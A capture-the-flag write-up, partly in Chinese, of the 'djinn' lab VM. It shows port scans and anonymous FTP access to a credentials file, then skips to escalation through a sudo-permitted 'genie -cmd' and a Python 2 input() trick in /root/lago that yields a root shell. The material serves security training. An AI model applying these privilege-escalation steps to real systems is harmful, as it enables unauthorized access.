[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 65435'. Open 192.168.31.176:21 Open 192.168.31.176:1337 Open 192.168.31.176:7331 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 04:49 EDT Initiating ARP Ping Scan at 04:49 Scanning 192.168.31.176 [1 port] Completed ARP Ping Scan at 04:49, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 04:49 Completed Parallel DNS resolution of 1 host. at 04:49, 0.04s elapsed DNS resolution of 1 IPs took 0.04s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 04:49 Scanning 192.168.31.176 [3 ports] Discovered open port 21/tcp on 192.168.31.176 Discovered open port 1337/tcp on 192.168.31.176 Discovered open port 7331/tcp on 192.168.31.176 Completed SYN Stealth Scan at 04:49, 0.02s elapsed (3 total ports) Nmap scan report for 192.168.31.176 Host is up, received arp-response (0.00032s latency). Scanned at 2025-05-06 04:49:46 EDT for 0s
PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 64 1337/tcp open waste syn-ack ttl 64 7331/tcp open swx syn-ack ttl 64 MAC Address: 08:00:27:36:B4:D6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
21端口
21端口可以匿名登录，里面有三个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root㉿kali)-[~/Desktop/tmp/tmp] └─# ftp anonymous@192.168.31.176 Connected to 192.168.31.176. 220 (vsFTPd 3.0.3) 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||15556|) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt -rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt -rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt
1 2 3 4 5 6 7 8 9 10 11
┌──(root㉿kali)-[~/Desktop/tmp/tmp] └─# cat creds.txt nitu:81299 ┌──(root㉿kali)-[~/Desktop/tmp/tmp] └─# cat game.txt oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize. ┌──(root㉿kali)-[~/Desktop/tmp/tmp] └─# cat message.txt @nitish81299 I am going on holidays for few days, please take care of all the work. And don't mess up anything.
┌──(root㉿kali)-[~/Desktop/tmp/tmp] └─# rustscan -a 192.168.31.176 -r 1-65535 .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I scanned ports so fast, even my computer was surprised.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 65435'. Open 192.168.31.176:21 Open 192.168.31.176:22 Open 192.168.31.176:1337 Open 192.168.31.176:7331 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 05:13 EDT Initiating ARP Ping Scan at 05:13 Scanning 192.168.31.176 [1 port] Completed ARP Ping Scan at 05:13, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 05:13 Completed Parallel DNS resolution of 1 host. at 05:13, 0.00s elapsed DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 05:13 Scanning 192.168.31.176 [4 ports] Discovered open port 21/tcp on 192.168.31.176 Discovered open port 22/tcp on 192.168.31.176 Discovered open port 7331/tcp on 192.168.31.176 Discovered open port 1337/tcp on 192.168.31.176 Completed SYN Stealth Scan at 05:13, 0.02s elapsed (4 total ports) Nmap scan report for 192.168.31.176 Host is up, received arp-response (0.00043s latency). Scanned at 2025-05-06 05:13:30 EDT for 0s
PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 64 22/tcp open ssh syn-ack ttl 64 1337/tcp open waste syn-ack ttl 64 7331/tcp open swx syn-ack ttl 64 MAC Address: 08:00:27:36:B4:D6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds Raw packets sent: 5 (204B) | Rcvd: 5 (204B)
nitish@djinn:~$ sudo -l Matching Defaults entries for nitish on djinn: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nitish may run the following commands on djinn: (sam) NOPASSWD: /usr/bin/genie
1 2
nitish@djinn:~$ sudo -u sam /usr/bin/genie -c '/bin/sh' Pass your wish to GOD, he might be able to help you.
哈哈哈哈 -c不行，看看其他参数，man手册里还有一个-cmd的参数
1 2 3
nitish@djinn:~$ sudo -u sam /usr/bin/genie -cmd id my man!! $
提权ROOT
1 2 3 4 5 6 7
sam@djinn:~$ sudo -l Matching Defaults entries for sam on djinn: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sam may run the following commands on djinn: (root) NOPASSWD: /root/lago
#!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 2.7
from getpass import getuser from os import system from random import randint
def naughtyboi(): print 'Working on it!! '
def guessit(): num = randint(1, 101) print 'Choose a number between 1 to 100: ' s = input('Enter your number: ') if s == num: system('/bin/sh') else: print 'Better Luck next time'
def readfiles(): user = getuser() path = input('Enter the full of the file to read: ') print 'User %s is not allowed to read %s' % (user, path)
def options(): print 'What do you want to do ?' print '1 - Be naughty' print '2 - Guess the number' print '3 - Read some damn files' print '4 - Work' choice = int(input('Enter your choice: ')) return choice
def main(op): if op == 1: naughtyboi() elif op == 2: guessit() elif op == 3: readfiles() elif op == 4: print 'work your ass off!!' else: print 'Do something better with your life'
if __name__ == '__main__': main(options())
可以直接传入一个num，他会将你传入的num解析成变量就可以通过了，或者就爆破我就不试了
1 2 3 4 5 6 7 8 9 10 11
sam@djinn:/home/sam$ sudo /root/lago What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:2 Choose a number between 1 to 100: Enter your number: num # id uid=0(root) gid=0(root) groups=0(root)
